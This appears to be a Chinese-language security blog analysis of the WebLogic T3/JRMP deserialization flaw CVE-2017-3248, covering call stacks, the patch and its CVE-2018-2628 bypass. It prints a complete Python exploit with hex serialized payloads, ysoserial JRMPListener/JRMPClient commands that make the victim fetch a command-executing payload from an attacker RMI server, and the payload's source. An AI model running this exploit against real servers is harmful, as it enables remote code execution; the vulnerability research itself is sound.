Weblogic t3反序列化之三: jrmp
Weblogic T3反序列化之三: JRMP
0x00 背景
前面两篇文章分别介绍了CVE-2015-4852和其补丁绕过版本CVE-2016-0638。
其实CVE-2016-0638就是在CVE-2015-4852的基础上增加了一层反序列化,有点像二进制里面的壳,把payload攻击链都隐藏起来了,而程序执行的时候,杀毒软件只扫描了入口点处的代码,即壳代码,真正的攻击代码是由壳引导的。CVE-2016-0638引入的StreamMessageImpl就是壳。
本文介绍的利用JRMP协议执行T3反序列化漏洞其实也就是利用另一个反序列化的点,且同样也不在前面已设的补丁黑名单中。
0x01 漏洞描述
如上节所述,这个漏洞(CVE-2017-3248)就是利用JRMP协议执行反序列化的一种方式。与前面漏洞不一样的是,这里引入了JRMP的概念,需要一台远程RMI服务器协同才能完成攻击。
0x02 漏洞调试
环境搭建
见参考 3:
-
Weblogic Docker启动
-
IDEA 调试
-
RMI服务器监听:java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 “whoami”
-
PoC执行,见0x03 PoC
关于docker的启动和IDEA的调试,这里就不说了。
调试
这里的调试分两部分介绍:
-
RemoteObjectInvocationHandler
-
RMI
先看第一部分,PoC用到的反序列化点RemoteObjectInvocationHandler。
信息 1
上述图片中,可以看到,这里和之前CVE-2015-4852的栈是一模一样的,只是这里的点是RemoteObjectInvocationHandler,而不是AnnotationInvocationHandler。
看名字也知道,这个跟远程有关系。确实,这里是JRMP,远程调用了。关于JRMP可以看看参考 1 。
需要搭建一个远程的RMI服务器,这是攻击者控制着的服务器,攻击者将payload放在上面,如下就是本文使用的RMI服务器,在1099端口跑了个监听服务.
(base) panicall@97:~/tools$ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "whoami"
* Opening JRMP listener on 1099
Have connection from /172.19.0.2:45942
Reading message...
Is DGC call for [[0:0:0, -416083434]]
Sending return with payload for obj [0:0:0, 2]
Closing connection
信息 2
可以看到RMI服务器已经向受害Weblogic主机发送了payload,我们看看受害的weblogic主机上完整的调用栈:
transform:119, InvokerTransformer (org.apache.commons.collections.functors)
transform:122, ChainedTransformer (org.apache.commons.collections.functors)
get:157, LazyMap (org.apache.commons.collections.map)
invoke:51, AnnotationInvocationHandler (sun.reflect.annotation)
entrySet:-1, $Proxy58 (com.sun.proxy)
readObject:328, AnnotationInvocationHandler (sun.reflect.annotation)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
defaultReadFields:1969, ObjectInputStream (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
executeCall:225, StreamRemoteCall (sun.rmi.transport)
invoke:359, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:342, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:285, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:121, DGCClient (sun.rmi.transport)
read:294, LiveRef (sun.rmi.transport)
readExternal:473, UnicastRef (sun.rmi.server)
readObject:438, RemoteObject (java.rmi.server)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:39, NativeMethodAccessorImpl (sun.reflect)
invoke:25, DelegatingMethodAccessorImpl (sun.reflect)
invoke:597, Method (java.lang.reflect)
invokeReadObject:969, ObjectStreamClass (java.io)
readSerialData:1871, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
defaultReadFields:1969, ObjectInputStream (java.io)
readSerialData:1893, ObjectInputStream (java.io)
readOrdinaryObject:1775, ObjectInputStream (java.io)
readObject0:1327, ObjectInputStream (java.io)
readObject:349, ObjectInputStream (java.io)
readObject:66, InboundMsgAbbrev (weblogic.rjvm)
read:38, InboundMsgAbbrev (weblogic.rjvm)
readMsgAbbrevs:283, MsgAbbrevJVMConnection (weblogic.rjvm)
init:213, MsgAbbrevInputStream (weblogic.rjvm)
dispatch:498, MsgAbbrevJVMConnection (weblogic.rjvm)
dispatch:330, MuxableSocketT3 (weblogic.rjvm.t3)
dispatch:387, BaseAbstractMuxableSocket (weblogic.socket)
readReadySocketOnce:967, SocketMuxer (weblogic.socket)
readReadySocket:899, SocketMuxer (weblogic.socket)
processSockets:130, PosixSocketMuxer (weblogic.socket)
run:29, SocketReaderRequest (weblogic.socket)
execute:42, SocketReaderRequest (weblogic.socket)
execute:145, ExecuteThread (weblogic.kernel)
run:117, ExecuteThread (weblogic.kernel)
信息 3
这个栈有点长,但是消息非常完整和清晰。
- RemoteObjectInvocationHandler的readObject被调用,其调用了UnicastRef::readExternal,参见信息1。
-
UnicastRef::readExternal一路向上,直接反序列化远程RMI服务器推送的payload。
- 而ConnectInputStream里面的内容就是RMI服务器推送的payload了,即ysoserial的CommonsCollections1。AnnotationInvocationHandler加Transformer,经典的payload,详情见第一篇文章。
0x03 PoC
PoC和前面CVE-2015-4852的很类似,是一个T3交互的框架代码+Payload。
框架代码是一样的,只是负责实现T3协议的握手和数据传输,这里仍然拷贝一下:
#!/usr/bin/env python
# coding: utf-8
import socket
import struct
import time
def exp(host, port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
server_address = (host, int(port))
data = ""
try:
sock.connect(server_address)
# Send headers
#headers = 't3 12.2.1nAS:255nHL:19nn'.format(port)
#headers = bytes(headers, encoding = "utf8")
#sock.sendall(headers)
#time.sleep(1)
#data = sock.recv(1024)
xx = bytes.fromhex('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a')
sock.send(xx)
time.sleep(1)
sock.recv(1024)
# java -jar ysoserial.jar JRMPClient 172.16.100.97:1099 > ./jrmpclient1
f = open('./jrmpclient1', 'rb')
payload_obj = f.read()
f.close()
payload1 = "000005ba016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000"
payload3 = "aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870774b210000000000000000000d31302e3130312e3137302e3330000d31302e3130312e3137302e33300f0371a20000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c00007870771d01a621b7319cc536a1000a3137322e31392e302e32f7621bb50000000078"
payload1=bytes.fromhex(payload1)
payload3 = bytes.fromhex(payload3)
payload2 = payload_obj
payload = payload1 + payload2 + payload3
payload = struct.pack('>I', len(payload)) + payload[4:]
sock.send(payload)
data = sock.recv(4096)
except socket.error as e:
print (u'socket 连接异常!')
finally:
sock.close()
exp('172.16.100.97', 7001)
信息 4
payload使用ysoserial的JRMPClient1。
java -jar ysoserial.jar JRMPClient1 172.16.100.97:1099 > ./jrmpclient1
0x04 补丁
PoC用到了动态代理类:
package ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
信息 5
动态代理类对应的接口类型是java.rmi.registry.Registry。
在weblogic.rjvm.InboundMsgAbbrev.class::ServerChannelInputStream的resolveProxyClass中,添加了对接口类型的过滤:
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] var2 = interfaces;
int var3 = interfaces.length;
for(int var4 = 0; var4 < var3; ++var4) {
String intf = var2[var4];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
信息 6
在上面函数处下个断点,再跑一下PoC:
很明显,会被补丁拦截。
0x05 补丁绕过
CVE-2018-2628就是针对CVE-2017-3248补丁的绕过,利用方法完全相同,只是java.rmi.activation.Activator替换了java.rmi.registry.Registry。
0x06 参考
-
Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上) _https://paper.seebug.org/1091/
-
Remote Method Invocation (RMI) _https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html
-
CVE-2017-3248&CVE-2018-2628 _https://blog.csdn.net/he_and/article/details/90580999
-
动态代理类(翻译) _https://blog.csdn.net/oworkn/article/details/52200736